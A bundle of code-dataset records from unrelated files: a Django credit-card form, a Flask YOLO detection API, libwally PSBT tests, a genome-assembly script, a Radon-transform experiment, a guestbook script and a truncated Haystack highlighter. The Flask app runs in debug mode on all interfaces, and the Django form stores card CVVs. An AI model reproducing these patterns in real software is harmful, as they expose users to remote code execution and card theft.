+{"seq_id":"296629479","text":"from django import  forms\nfrom .models import Tarjeta\nfrom django.contrib.auth import authenticate\nfrom datetime import date\n\nclass CrearTarjetaForm(forms.ModelForm):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.fields['numero'].widget.attrs['class'] = 'form-control'\n        self.fields['numero'].widget.attrs['required'] = 'True'\n        self.fields['numero'].widget.attrs['placeholder'] = 'Ingresa el número de la tarjeta'\n        self.fields['saldo'].widget.attrs['placeholder'] = 'Ingresa el saldo que deseas agregar'\n        self.fields['saldo'].widget.attrs['required'] = 'True'\n\n\n\n    class Meta:\n\n        model=Tarjeta\n        fields = (\n            'franquicia',\n            'numero',\n            'fecha_vencimiento',\n            'cvv',\n            'saldo'\n        )\n        widgets = {\n            'fecha_vencimiento': forms.DateInput(\n\n                attrs={\n                    'type':'date',\n                }\n            ),\n            'cvv': forms.TextInput(\n\n                attrs={\n                    'class':'form-control',\n                    'placeholder':'Ingresa el código cvv',\n                    'required': 'True'\n                }\n            ),\n            'franquicia': forms.Select(\n\n                attrs={\n                    'class': 'form-control',\n                    'required': 'True'\n                }\n            ),\n\n        }\n\n    def clean_numero(self):\n        numero = self.cleaned_data['numero']\n\n        if len(numero) != 16:\n            self.add_error('numero', forms.ValidationError('La tarjeta debe contener 16 digitos.'))\n        elif not all(x.isdigit() for x in numero):\n            self.add_error('numero', forms.ValidationError('La tarjeta solo debe contener números.'))\n\n        return numero\n\n    \"\"\"\n    def clean_fecha_vencimiento(self):\n        fecha_vencimiento = self.cleaned_data['fecha_vencimiento']\n\n        years = fecha_vencimiento.year - date.today().year\n\n        if years == 0:\n\n            months = date.today().month - fecha_vencimiento.month\n\n            if months >= 0:\n                self.add_error('fecha_vencimiento', forms.ValidationError('La tarjeta tiene una fecha menor o está a punto de vencerse. Por favor, intenta nuevamente.'))\n        else:\n            self.add_error('fecha_vencimiento', forms.ValidationError('La tarjeta tiene una fecha menor o está a punto de vencerse. Por favor, intenta nuevamente.'))\n\n        return fecha_vencimiento\n        \"\"\"\n    def clean_cvv(self):\n        cleaned_data = super(CrearTarjetaForm, self).clean()\n        cvv = str(self.cleaned_data['cvv'])\n        if int(cvv.__len__()) != 3:\n            self.add_error('cvv', forms.ValidationError('El cvv debe tener 3 digitos.'))\n        return self.cleaned_data\n\n    def clean_saldo(self):\n        saldo = self.cleaned_data['saldo']\n\n        if saldo < 1000:\n            self.add_error('saldo', forms.ValidationError('El saldo debe ser mayor o igual a $1000'))\n\n        return saldo\n\nclass ActualizarTarjetaForm(forms.ModelForm):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.fields['saldo'].widget.attrs['class'] = 'form-control'\n        self.fields['saldo'].widget.attrs['required'] = 'True'\n\n    class Meta:\n        model = Tarjeta\n        fields = ('saldo',)\n\n    def clean_saldo(self):\n        saldo = self.cleaned_data['saldo']\n\n        if saldo < 1000:\n            self.add_error('saldo', forms.ValidationError('El saldo debe ser mayor o igual a 1000'))\n\n        return saldo\n\n\n","sub_path":"applications/tarjetas/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"140357379","text":"#Importing all the required libraries like flask, cv2, numpy\r\nimport flask\r\nfrom flask import request\r\nimport cv2\r\nimport numpy as np\r\nimport json\r\n\r\n#Importing ThreadPoolExecutor Library for Multithreading\r\nfrom concurrent.futures import ThreadPoolExecutor\r\n\r\n#Creating an instance of  ThreadPoolExecutor and setting 4 as maximum number of workers i.e\r\n#this thread pool will only have 4 concurrent threads\r\nexecutor = ThreadPoolExecutor(4)\r\n\r\n#Creates the Flask application object, which contains data about the application\r\napp = flask.Flask(__name__)\r\n\r\n#Defining default route as GET request and mapping it to test() method for testing the application\r\n@app.route('/')\r\ndef test():\r\n    return \"Hello, World!\"\r\n\r\n#Defining /api/object_detection route as POST request and mapping it to image_scan() method for recieving client request\r\n@app.route('/api/object_detection', methods=['POST'])\r\ndef image_scan():\r\n\r\n    #Reading file buffer from the request object sent by the client\r\n    img_str = request.files[\"image\"].read()\r\n\r\n    #Executing image_scan_implimentation() as individual threads by ThreadPoolExecutor object and passing image data as argument\r\n    exec = executor.submit(image_scan_implimentation, img_str)\r\n\r\n    #Returning the python dict to the client which image_scan_implimentation() method is returning\r\n    return exec.result()\r\n\r\n\r\n#Method implimenting the business logic of the API by taking the buffer image and returning the dict having list of objects detected along\r\n#with their accuracy\r\ndef image_scan_implimentation(img_str):\r\n\r\n    #Loading trained model of YOLO along with its config file.\r\n    net = cv2.dnn.readNet(\"yolov3-tiny.weights\", \"yolov3-tiny.cfg\")\r\n\r\n    #Reading the objects names that YOLO can detect from coc.names file and storing them in list classes\r\n    classes = []\r\n    with open(\"coco.names\", \"r\") as f:\r\n        classes = [line.strip() for line in f.readlines()]\r\n\r\n    layer_names = net.getLayerNames()\r\n    output_layers = [layer_names[i[0] - 1]\r\n                     for i in net.getUnconnectedOutLayers()]\r\n\r\n    nparr = np.frombuffer(img_str, np.uint8)\r\n\r\n    # cv2.IMREAD_COLOR in OpenCV 3.1\r\n    img_np = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\r\n\r\n    img = cv2.resize(img_np, None, fx=0.4, fy=0.4)\r\n\r\n    # Detecting objects by using Blob which is used to extract feature from the image and \r\n    # to resize them to 416x416 which gives both accuracy and speed\r\n    blob = cv2.dnn.blobFromImage(\r\n        img, 0.00392, (416, 416), (0, 0, 0), True, crop=False)\r\n    net.setInput(blob)\r\n\r\n    #object_info is an array that conains all the informations about objects detected, their position and the confidence about the detection.\r\n    object_info = net.forward(output_layers)\r\n\r\n    objects_list = []\r\n\r\n    #Traversing the object_info array to find the objects detected and their confidence(position)\r\n    for obj in object_info:\r\n        for detection in obj:\r\n            scores = detection[5:]\r\n            class_id = np.argmax(scores)\r\n            accuracy = scores[class_id]\r\n            #Taking accuracy/confidence level 1% for detection of objects.\r\n            if accuracy > 0.01:\r\n                objects_dict = {}\r\n                objects_dict[\"label\"] = str(classes[class_id])\r\n                objects_dict[\"accuracy\"] = str(round(float(accuracy)*100, 2))\r\n                objects_list.append(objects_dict)\r\n\r\n    #Returning the python dict having all the info about the objects detected by the model\r\n    return {\"objects\": objects_list}\r\n\r\nif __name__ == \"__main__\":\r\n    #Using flask object to runs the application server on Port 2020 in debug mode with host - 0.0.0.0\r\n    app.run(host=\"0.0.0.0\", port=2020, debug=True)\r\n","sub_path":"Client/iWebLens_server.py","file_name":"iWebLens_server.py","file_ext":"py","file_size_in_byte":3700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"92150478","text":"\"\"\"Tests for PSBT wrappers\"\"\"\nimport unittest\nfrom wallycore import *\n\nSAMPLE = \"cHNidP8BAFICAAAAAZ38ZijCbFiZ/hvT3DOGZb/VXXraEPYiCXPfLTht7BJ2AQAAAAD/////AfA9zR0AAAAAFgAUezoAv9wU0neVwrdJAdCdpu8TNXkAAAAATwEENYfPAto/0AiAAAAAlwSLGtBEWx7IJ1UXcnyHtOTrwYogP/oPlMAVZr046QADUbdDiH7h1A3DKmBDck8tZFmztaTXPa7I+64EcvO8Q+IM2QxqT64AAIAAAACATwEENYfPAto/0AiAAAABuQRSQnE5zXjCz/JES+NTzVhgXj5RMoXlKLQH+uP2FzUD0wpel8itvFV9rCrZp+OcFyLrrGnmaLbyZnzB1nHIPKsM2QxqT64AAIABAACAAAEBKwBlzR0AAAAAIgAgLFSGEmxJeAeagU4TcV1l82RZ5NbMre0mbQUIZFuvpjIBBUdSIQKdoSzbWyNWkrkVNq/v5ckcOrlHPY5DtTODarRWKZyIcSEDNys0I07Xz5wf6l0F1EFVeSe+lUKxYusC4ass6AIkwAtSriIGAp2hLNtbI1aSuRU2r+/lyRw6uUc9jkO1M4NqtFYpnIhxENkMak+uAACAAAAAgAAAAAAiBgM3KzQjTtfPnB/qXQXUQVV5J76VQrFi6wLhqyzoAiTACxDZDGpPrgAAgAEAAIAAAAAAACICA57/H1R6HV+S36K6evaslxpL0DukpzSwMVaiVritOh75EO3kXMUAAACAAAAAgAEAAIAA\"\n\n\nclass PSBTTests(unittest.TestCase):\n\n    def _try_invalid(self, fn, psbt, *args):\n        with self.assertRaises(ValueError):\n            fn(None, 0, *args) # Null PSBT\n        with self.assertRaises(ValueError):\n            fn(psbt, 1, *args) # Invalid index\n\n    def _try_set(self, fn, psbt, valid_value, null_value=None):\n        fn(psbt, 0, valid_value) # Set\n        fn(psbt, 0, null_value) # Un-set\n        self._try_invalid(fn, psbt, valid_value)\n\n    def _try_get_set_b(self, setfn, getfn, lenfn, psbt, valid_value, null_value=None):\n        self._try_set(setfn, psbt, valid_value, null_value)\n        setfn(psbt, 0, valid_value) # Set\n        self._try_invalid(lenfn, psbt)\n        self._try_invalid(getfn, psbt)\n        ret = getfn(psbt, 0) # Get\n        self.assertEqual(valid_value, ret)\n\n    def _try_get_set_m(self, setfn, sizefn, lenfn, getfn, findfn, psbt, valid_value, valid_item):\n        self._try_set(setfn, psbt, valid_value, None)\n        self._try_invalid(sizefn, psbt)\n        self.assertEqual(sizefn(psbt, 0), 0)\n        setfn(psbt, 0, valid_value) # Set\n        self.assertEqual(sizefn(psbt, 0), 1) # 1 item in the map\n        self._try_invalid(lenfn, psbt, 0)\n        with self.assertRaises(ValueError):\n            lenfn(psbt, 0, 1) # Invalid subindex\n        map_val = getfn(psbt, 0, 0)\n        self.assertTrue(len(map_val) > 0)\n        self.assertEqual(lenfn(psbt, 0, 0), len(map_val))\n        self._try_invalid(findfn, psbt, map_val)\n        self.assertEqual(findfn(psbt, 0, valid_item), 1)\n\n\n    def test_psbt(self):\n        psbt = psbt_from_base64(SAMPLE)\n\n        # Roundtrip to/from bytes\n        psbt_bytes = psbt_to_bytes(psbt, 0)\n        psbt_tmp = psbt_from_bytes(psbt_bytes)\n        self.assertEqual(hex_from_bytes(psbt_bytes),\n                         hex_from_bytes(psbt_to_bytes(psbt_tmp, 0)))\n\n        self.assertIsNotNone(psbt_get_global_tx(psbt))\n\n        for fn, ret in [(psbt_get_version, 0),\n                        (psbt_get_num_inputs, 1),\n                        (psbt_get_num_outputs, 1)]:\n            self.assertEqual(fn(psbt), ret)\n            with self.assertRaises(ValueError):\n                fn(None) # Null PSBT\n\n        # Conversion to base64 should round trip\n        self.assertEqual(psbt_to_base64(psbt, 0), SAMPLE)\n\n        # Combining with ourselves shouldn't change the PSBT\n        psbt_combine(psbt, psbt)\n        self.assertEqual(psbt_to_base64(psbt, 0), SAMPLE)\n\n        # Test setters\n        dummy_tx = psbt_get_global_tx(psbt)\n        self.assertIsNotNone(dummy_tx)\n\n        dummy_txout = tx_output_init(1234567, bytearray(b'\\x00' * 33))\n\n        dummy_witness = tx_witness_stack_init(5)\n        self.assertIsNotNone(dummy_witness)\n\n        dummy_bytes = bytearray(b'\\x00' * 32)\n        dummy_pubkey = bytearray(b'\\x02'* EC_PUBLIC_KEY_LEN)\n        dummy_fingerprint = bytearray(b'\\x00' * BIP32_KEY_FINGERPRINT_LEN)\n        dummy_path = [1234, 1234, 1234]\n        dummy_sig = bytearray(b'\\x00' * 72)\n        if is_elements_build():\n            dummy_nonce = bytearray(b'\\x00' * WALLY_TX_ASSET_CT_NONCE_LEN)\n            dummy_bf = bytearray(b'\\x00' * BLINDING_FACTOR_LEN)\n            dummy_commitment = bytearray(b'\\x00' * ASSET_COMMITMENT_LEN)\n            dummy_asset = bytearray(b'\\x00' * ASSET_TAG_LEN)\n\n        dummy_keypaths = map_init(0)\n        self.assertIsNotNone(dummy_keypaths)\n        map_add_keypath_item(dummy_keypaths, dummy_pubkey, dummy_fingerprint, dummy_path)\n        self.assertEqual(map_find(dummy_keypaths, dummy_pubkey), 1)\n\n        dummy_signatures = map_init(0)\n        self.assertIsNotNone(dummy_signatures)\n        map_add(dummy_signatures, dummy_pubkey, dummy_sig)\n        self.assertEqual(map_find(dummy_signatures, dummy_pubkey), 1)\n\n        dummy_unknowns = map_init(1)\n        self.assertIsNotNone(dummy_unknowns)\n        map_add(dummy_unknowns, dummy_pubkey, dummy_fingerprint)\n        self.assertEqual(map_find(dummy_unknowns, dummy_pubkey), 1)\n\n        #\n        # Inputs\n        #\n        self._try_set(psbt_set_input_utxo, psbt, dummy_tx)\n        self._try_invalid(psbt_get_input_utxo, psbt)\n        self._try_set(psbt_set_input_witness_utxo, psbt, dummy_txout)\n        self._try_invalid(psbt_get_input_witness_utxo, psbt)\n        self._try_get_set_b(psbt_set_input_redeem_script,\n                            psbt_get_input_redeem_script,\n                            psbt_get_input_redeem_script_len, psbt, dummy_bytes)\n        self._try_get_set_b(psbt_set_input_witness_script,\n                            psbt_get_input_witness_script,\n                            psbt_get_input_witness_script_len, psbt, dummy_bytes)\n        self._try_get_set_b(psbt_set_input_final_scriptsig,\n                            psbt_get_input_final_scriptsig,\n                            psbt_get_input_final_scriptsig_len, psbt, dummy_bytes)\n        self._try_set(psbt_set_input_final_witness, psbt, dummy_witness)\n        self._try_invalid(psbt_get_input_final_witness, psbt)\n        self._try_get_set_m(psbt_set_input_keypaths,\n                            psbt_get_input_keypaths_size,\n                            psbt_get_input_keypath_len,\n                            psbt_get_input_keypath,\n                            psbt_find_input_keypath,\n                            psbt, dummy_keypaths, dummy_pubkey)\n        self._try_get_set_m(psbt_set_input_signatures,\n                            psbt_get_input_signatures_size,\n                            psbt_get_input_signature_len,\n                            psbt_get_input_signature,\n                            psbt_find_input_signature,\n                            psbt, dummy_signatures, dummy_pubkey)\n        self._try_get_set_m(psbt_set_input_unknowns,\n                            psbt_get_input_unknowns_size,\n                            psbt_get_input_unknown_len,\n                            psbt_get_input_unknown,\n                            psbt_find_input_unknown,\n                            psbt, dummy_unknowns, dummy_pubkey)\n        self._try_set(psbt_set_input_sighash, psbt, 0xff, 0x0)\n        self.assertEqual(psbt_get_input_sighash(psbt, 0), 0)\n        self._try_invalid(psbt_get_input_sighash, psbt)\n\n        if is_elements_build():\n            self._try_set(psbt_set_input_value, psbt, 1234567, 0)\n            self._try_invalid(psbt_has_input_value, psbt)\n            self._try_invalid(psbt_get_input_value, psbt)\n            self._try_invalid(psbt_clear_input_value, psbt)\n            self.assertEqual(psbt_has_input_value(psbt, 0), 1)\n            psbt_clear_input_value(psbt, 0)\n            self.assertEqual(psbt_has_input_value(psbt, 0), 0)\n            self._try_get_set_b(psbt_set_input_vbf,\n                                psbt_get_input_vbf,\n                                psbt_get_input_vbf_len, psbt, dummy_bf)\n            self._try_get_set_b(psbt_set_input_asset,\n                                psbt_get_input_asset,\n                                psbt_get_input_asset_len, psbt, dummy_asset)\n            self._try_get_set_b(psbt_set_input_abf,\n                                psbt_get_input_abf,\n                                psbt_get_input_abf_len, psbt, dummy_bf)\n            self._try_set(psbt_set_input_pegin_tx, psbt, dummy_tx)\n            self._try_invalid(psbt_get_input_pegin_tx, psbt)\n            self._try_get_set_b(psbt_set_input_txoutproof,\n                                psbt_get_input_txoutproof,\n                                psbt_get_input_txoutproof_len, psbt, dummy_bytes)\n            self._try_get_set_b(psbt_set_input_genesis_blockhash,\n                                psbt_get_input_genesis_blockhash,\n                                psbt_get_input_genesis_blockhash_len, psbt, dummy_bytes)\n            self._try_get_set_b(psbt_set_input_claim_script,\n                                psbt_get_input_claim_script,\n                                psbt_get_input_claim_script_len, psbt, dummy_bytes)\n\n        #\n        # Outputs\n        #\n        self._try_get_set_b(psbt_set_output_redeem_script,\n                            psbt_get_output_redeem_script,\n                            psbt_get_output_redeem_script_len, psbt, dummy_bytes)\n        self._try_get_set_b(psbt_set_output_witness_script,\n                            psbt_get_output_witness_script,\n                            psbt_get_output_witness_script_len, psbt, dummy_bytes)\n        self._try_get_set_m(psbt_set_output_keypaths,\n                            psbt_get_output_keypaths_size,\n                            psbt_get_output_keypath_len,\n                            psbt_get_output_keypath,\n                            psbt_find_output_keypath,\n                            psbt, dummy_keypaths, dummy_pubkey)\n        self._try_get_set_m(psbt_set_output_unknowns,\n                            psbt_get_output_unknowns_size,\n                            psbt_get_output_unknown_len,\n                            psbt_get_output_unknown,\n                            psbt_find_output_unknown,\n                            psbt, dummy_unknowns, dummy_pubkey)\n        if is_elements_build():\n            self._try_get_set_b(psbt_set_output_blinding_pubkey,\n                                psbt_get_output_blinding_pubkey,\n                                psbt_get_output_blinding_pubkey_len, psbt, dummy_pubkey)\n            self._try_get_set_b(psbt_set_output_value_commitment,\n                                psbt_get_output_value_commitment,\n                                psbt_get_output_value_commitment_len, psbt, dummy_commitment)\n            self._try_get_set_b(psbt_set_output_vbf,\n                                psbt_get_output_vbf,\n                                psbt_get_output_vbf_len, psbt, dummy_bf)\n            self._try_get_set_b(psbt_set_output_asset_commitment,\n                                psbt_get_output_asset_commitment,\n                                psbt_get_output_asset_commitment_len, psbt, dummy_commitment)\n            self._try_get_set_b(psbt_set_output_abf,\n                                psbt_get_output_abf,\n                                psbt_get_output_abf_len, psbt, dummy_bf)\n            self._try_get_set_b(psbt_set_output_nonce,\n                                psbt_get_output_nonce,\n                                psbt_get_output_nonce_len, psbt, dummy_nonce)\n            self._try_get_set_b(psbt_set_output_rangeproof,\n                                psbt_get_output_rangeproof,\n                                psbt_get_output_rangeproof_len, psbt, dummy_bytes)\n            self._try_get_set_b(psbt_set_output_surjectionproof,\n                                psbt_get_output_surjectionproof,\n                                psbt_get_output_surjectionproof_len, psbt, dummy_bytes)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","sub_path":"src/swig_python/contrib/psbt.py","file_name":"psbt.py","file_ext":"py","file_size_in_byte":11572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"423939264","text":"'''\r\nCreated on Nov 10, 2013\r\n\r\n@author: Zoya\r\n'''\r\nfrom REVC import reverse_char\r\nFALSE_RETURN = 'FALSE'\r\n\r\ndef get_deBruijn_graph(lines, k):\r\n    result = dict()\r\n    for line in lines:\r\n        rev_line = ''\r\n        for letter in reversed(line):\r\n            rev_line += reverse_char(letter)\r\n        for i in range(len(line) - k):\r\n            result[line[i:i + k]] = line[i + k]\r\n            result[rev_line[i:i + k]] = rev_line[i + k ]\r\n    print (\"de Bruijn graph for k = %d (len = %d)\" % (k, len(result)))\r\n#    print result\r\n    return result\r\n\r\ndef get_cyclic_superstring(deBruijn_graph):\r\n    result = deBruijn_graph.keys()[0]\r\n    next_line = result\r\n    for i in range(len(deBruijn_graph) / 2):\r\n        if not deBruijn_graph.get(next_line):\r\n            return FALSE_RETURN\r\n        result += deBruijn_graph.pop(next_line)\r\n        next_line = result[-len(next_line):]\r\n#        print result\r\n    result = deBruijn_graph.keys()[0]\r\n    next_line = result\r\n    for i in range(len(deBruijn_graph)):\r\n        if not deBruijn_graph.get(next_line):\r\n            return FALSE_RETURN\r\n        result += deBruijn_graph.pop(next_line)\r\n        next_line = result[-len(next_line):]\r\n#        print result\r\n    if len(deBruijn_graph) > 0:\r\n        return FALSE_RETURN\r\n    return result[:-len(next_line)]\r\n\r\ndef GASM(input_file, output_file):\r\n    lines = [line.strip() for line in open(input_file)]\r\n    for k in range(min([len(line) for line in lines]) - 1, -1, -1):\r\n        deBruijn_graph = get_deBruijn_graph(lines, k)\r\n        result = get_cyclic_superstring(deBruijn_graph)\r\n        if result != FALSE_RETURN:\r\n            break\r\n    print (result)\r\n    with open(output_file, \"w\") as result_file:\r\n        result_file.write(result)\r\n\r\nGASM(\"src/data/rosalind_gasm.txt\", \"src/data/rosalind_gasm_result.txt\")\r\n","sub_path":"src/com/zobar/rosalind/GASM.py","file_name":"GASM.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"519315412","text":"import numpy as np\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\nfrom skimage import data\nimport radon as rn\nfrom multiprocessing import Process\n\n#CHANGE THIS VALUES\nstep = [45,40,35,30,20,15,10,5,3,2,1,0.5]\ndetectors = [400,350,300,250,200,150,100,50,25]\ndetWidth = [30,45,60,75,90,105,120,135,150,165,180]\n\ndef returnDifference2D(input1, input2):\n    if (len(input1) != len(input2)) or (len(input1[0]) != len(input2[0])) : raise NameError(\"Arrays do not have the same size\")\n    val = 0\n    for X in range(0,len(input1)):\n        for Y in range(0, len(input1[0])):\n           val += np.power((input1[X,Y]-input2[X,Y]),2)\n    return np.sqrt(val)\n\ndef testIterations(step, detectors, width, filter, figSaveName, prefix=\"\"):\n    inData = data.imread(\"input.png\", as_grey=True)\n    inData = inData/max( inData.flatten() )\n    num=0\n    stepsArray = np.arange(0, 180, step)\n    result = np.zeros(len(stepsArray))\n    sinogram = None\n    inverseImage = None\n    for S, SVal in enumerate(stepsArray):\n        num += 1\n        sinogram = rn.radonTransform(inData, step, [SVal], detectors, width, sinogram, normalize=False)\n        sin2 = sinogram.copy()\n        sin2 /= max(sin2.flatten())\n        if filter:\n             sin2 = rn.filterSinogram(sin2)\n             inverseImage = rn.inverseRadonTransform(sin2, step, [SVal], detectorsWidth=width,\n                                                          outputWidth=len(inData[0]), outputHeight=len(inData), output=inverseImage, normalize=False)\n        else:\n            inverseImage = rn.inverseRadonTransform(sin2, step, [SVal], detectorsWidth=width,\n                                                     outputWidth=len(inData[0]), outputHeight=len(inData), output=inverseImage, normalize=False)\n\n        copy = inverseImage.copy()\n        for X in range(0,len(copy)):\n            for Y in range(0,len(copy[0])):\n                if copy[X][Y] <0: copy[X][Y] =0;\n        copy /= max(copy.flatten())\n        result[S] = returnDifference2D(inData, copy)\n        print(\n            \"{}{}. {:.2f}% --- step:{} detectorsNum:{} width:{} result:{}\".format(prefix, num, (num / len(stepsArray) * 100), SVal,\n                                                                                  detectors, width, result[S]))\n\n    plot2D(stepsArray, result, \"interation\", figSaveName, line=\"bo\")\n    saveDataToFile(step,detectors,width,result,figSaveName)\n\n    return\n\n\ndef testAlgorithm(stepArr, detectorsArr, widthArr, filter, figSaveName, prefix=\"\"):\n    result = np.zeros((len(stepArr), len(detectorsArr), len(widthArr)))\n    num=0\n    all=len(stepArr)*len(detectorsArr)*len(widthArr)\n    inData = data.imread(\"input.png\", as_grey=True)\n    inData = inData/max( inData.flatten() )\n\n    for S, SVal in enumerate(stepArr):\n        for D, DVal in enumerate(detectorsArr):\n            for W, WVal in enumerate(widthArr):\n                num+=1\n\n                sinogram = rn.radonTransform(inData, stepSize=SVal, detectorsNumber=DVal, detectorsWidth=WVal)\n                if filter: sinogram = rn.filterSinogram(sinogram)\n                inverseRadonImage = rn.inverseRadonTransform(sinogram, stepSize=SVal, detectorsWidth=WVal, outputWidth=len(inData[0]), outputHeight=len(inData))\n\n                result[S,D,W] = returnDifference2D(inData, inverseRadonImage)\n                print(\"{}{}. {:.2f}% --- step:{} detectorsNum:{} width:{} result:{}\".format(prefix,num,(num/all*100),SVal,DVal,WVal,result[S,D,W]))\n\n    smart4DPlot(stepArr, detectorsArr, widthArr, result, figSaveName)\n    return\n\ndef plot2D(X,Y,labelX, figSaveName, labelY=\"variation\", line='--bo'):\n    plt.gcf().clear()\n    plt.plot(X,Y,line)\n    plt.xlabel(labelX)\n    plt.ylabel(labelY)\n    plt.savefig(figSaveName+\".pdf\")\n    return\n\ndef plot3D(X,Y,Z,labelX, labelY, figSaveName, labelZ=\"variation\"):\n    plt.gcf().clear()\n    fig = plt.figure()\n    ax = fig.add_subplot(111, projection='3d')\n    cartesian = np.array([ [x,y] for x in X for y in Y ])\n    ax.scatter(cartesian[:,0],cartesian[:,1],Z)\n    ax.set_xlabel(labelX)\n    ax.set_ylabel(labelY)\n    ax.set_zlabel(labelZ)\n    plt.savefig(figSaveName+\".pdf\")\n    return\n\ndef plot4D(X,Y,Z,A, labelX, labelY, labelZ, figSaveName, labelA=\"variation\"):\n    plt.gcf().clear()\n    fig = plt.figure()\n    ax = fig.add_subplot(111, projection='3d')\n    cartesian = np.array([[x, y, z] for x in X for y in Y for z in Z])\n    plt.gca().invert_yaxis()\n    sp = ax.scatter(cartesian[:,0],cartesian[:,1],cartesian[:,2], c=A, cmap=plt.hot(), marker=\"h\")\n    ax.set_xlabel(labelX)\n    ax.set_ylabel(labelY)\n    ax.set_zlabel(labelZ)\n    bar = plt.colorbar(sp)\n    bar.set_label(labelA)\n    plt.savefig(figSaveName+\".pdf\")\n    plt.show()\n    return\n\ndef saveDataToFile(X, Y, Z, data, figSaveName):\n    with open(figSaveName+\"txt\",\"w\") as file:\n        file.write(str(X)+\"\\n\\n\")\n        file.write(str(Y)+\"\\n\\n\")\n        file.write(str(Z)+\"\\n\\n\")\n        file.write(str(data)+\"\\n\\n\")\n\ndef smart4DPlot(X, Y, Z, data, figSaveName, labelX=\"Step\", labelY=\"Number of detectors\", labelZ=\"Detectors width\"):\n    saveDataToFile(X,Y,Z,data,figSaveName)\n\n    if(len(X)==1 and len(Y)==1 and len(Z)>1 ):\n        plot2D(Z, data[0,0,:], labelZ, figSaveName)\n        return\n    if(len(X)==1 and len(Y)>1 and len(Z)==1 ):\n        plot2D(Y, data[0,:,0], labelY, figSaveName)\n        return\n    if(len(X)>1 and len(Y)==1 and len(Z)==1 ):\n        plot2D(X, data[:,0,0], labelX, figSaveName)\n        return\n    if(len(X)>1 and len(Y)>1 and len(Z)==1):\n        plot3D(X,Y,data[:,:,0], labelX, labelY, figSaveName)\n        return\n    if (len(X)==1 and len(Y) > 1 and len(Z)>1):\n        plot3D(Y,Z,data[0,:,:], labelY, labelZ, figSaveName)\n        return\n    if (len(X)>1 and len(Y)==1 and len(Z)>1):\n        plot3D(X,Z,data[:,0,:], labelX, labelZ, figSaveName)\n        return\n    plot4D(X,Y,Z,data,labelX,labelY,labelZ, figSaveName)\n    return\n\ndef runInParallel(*fns):\n  proc = []\n  for fn in fns:\n    p = Process(target=fn)\n    p.start()\n    proc.append(p)\n  for p in proc:\n    p.join()\n\ndef main():\n    def test1():\n        testAlgorithm(step, detectors, detWidth, True, \"main4DFilter\", prefix=\"test1: \")\n    def test2():\n        testAlgorithm(step, detectors, detWidth, False, \"main4DNoFilter\", prefix=\"test2: \")\n    def test3():\n        testAlgorithm([1], [200], detWidth, True, \"main2DFilterStep1Detectors200\", prefix=\"test3: \")\n    def test4():\n        testAlgorithm([1], [200], detWidth, False, \"main2DNoFilterStep1Detectors200\", prefix=\"test4: \")\n    def test5():\n        testAlgorithm(step, [200], [170], True, \"main2DFilterDetectors200Width170\", prefix=\"test5: \")\n    def test6():\n        testAlgorithm(step, [200], [170], False, \"main2DNoFilterDetectors200Width170\", prefix=\"test6: \")\n    def test7():\n        testAlgorithm([1], detectors, [170], True, \"main2DFilterStep1Width170\", prefix=\"test7: \")\n    def test8():\n        testAlgorithm([1], detectors, [170], False, \"main2DNoFilterStep1Width170\", prefix=\"test8: \")\n    def test9(): #TEST ITERACJI\n        testIterations(1, 200, 170, True, \"testIterationsFilterStep1Ditectors200Width170\", prefix=\"test9: \")\n    def test10():  # TEST ITERACJI\n        testIterations(1, 200, 170, False, \"testIterationsNoFilterStep1Ditectors200Width170\", prefix=\"test10: \")\n\n\n    runInParallel(test1,test2,test3,test4,test5,test6,test7,test8,test9,test10)\n    return\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":7394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"425480531","text":"with open(\"C:/bigdata/Jump_to_Python\\chap04/20180509(수)/방명록.txt\", 'r', encoding='utf-8') as f:\n    visitors_list = []\n\n    while True:\n        visitors_temp = f.readline()\n        if not visitors_temp: break\n        visitors_list.append(visitors_temp.replace('\\n', ''))\n    check_name = input(\"이름을 입력하세요 : \")\n    check_flag = False\n    for i in visitors_list:\n\n        name, birth = map(str, i.split(' '))\n        if check_name == name:\n            print(\"%s님 다시 방문해 주셔서 감사합니다. 즐거운 시간되세요.\"%check_name)\n            check_flag = True\n            break\n\nif not check_flag:\n    with open(\"C:/bigdata/Jump_to_Python\\chap04/20180509(수)/방명록.txt\", 'a', encoding='utf-8') as f:\n        birth = input(\"생년월일을 입력하세요 (예:801212) : \")\n        f.write(\"\\n\" + check_name + \" \" + birth)\n        print(\"%s님 환영합니다. 아래 내용을 입력하셨습니다.\"% check_name)\n        print(\"%s %s\"%(check_name,birth))","sub_path":"01_jumptopy/Jump_to_Python/chap04/20180509(수)/visitors_book.py","file_name":"visitors_book.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"510283188","text":"# -*- coding:utf-8 -*-\nimport sys,json\nreload(sys)\nsys.setdefaultencoding('utf8')\n\nfrom haystack.utils import Highlighter\n\nSYMBOL='。'\n\ndef find_symbol(text_block):\n    word_positions = {}\n\n    # Pre-compute the length.\n    end_offset = len(text_block)\n    lower_text_block = text_block.lower()\n    # 测试\n    for word in ['。', '\\n']:\n        if not word in word_positions:\n            word_positions[word] = []\n\n        start_offset = 0\n\n        while start_offset < end_offset:\n            # print word\n            next_offset = lower_text_block.find(word, start_offset, end_offset)\n\n            # If we get a -1 out of find, it wasn't found. Bomb out and\n            # start the next word.\n            if next_offset == -1:\n                break\n\n            word_positions[word].append(next_offset)\n            start_offset = next_offset + len(word)\n    symbol_location_list=word_positions[SYMBOL]\n    symbol_location_list.insert(0,0)\n    symbol_location_list.insert(-1,len(text_block))\n    symbol_location_list.sort()\n    return symbol_location_list\n\nclass CustomHighlighter(Highlighter):\n\n    def render_html(self, highlight_locations=None, start_offset=None, end_offset=None):\n        # Start by 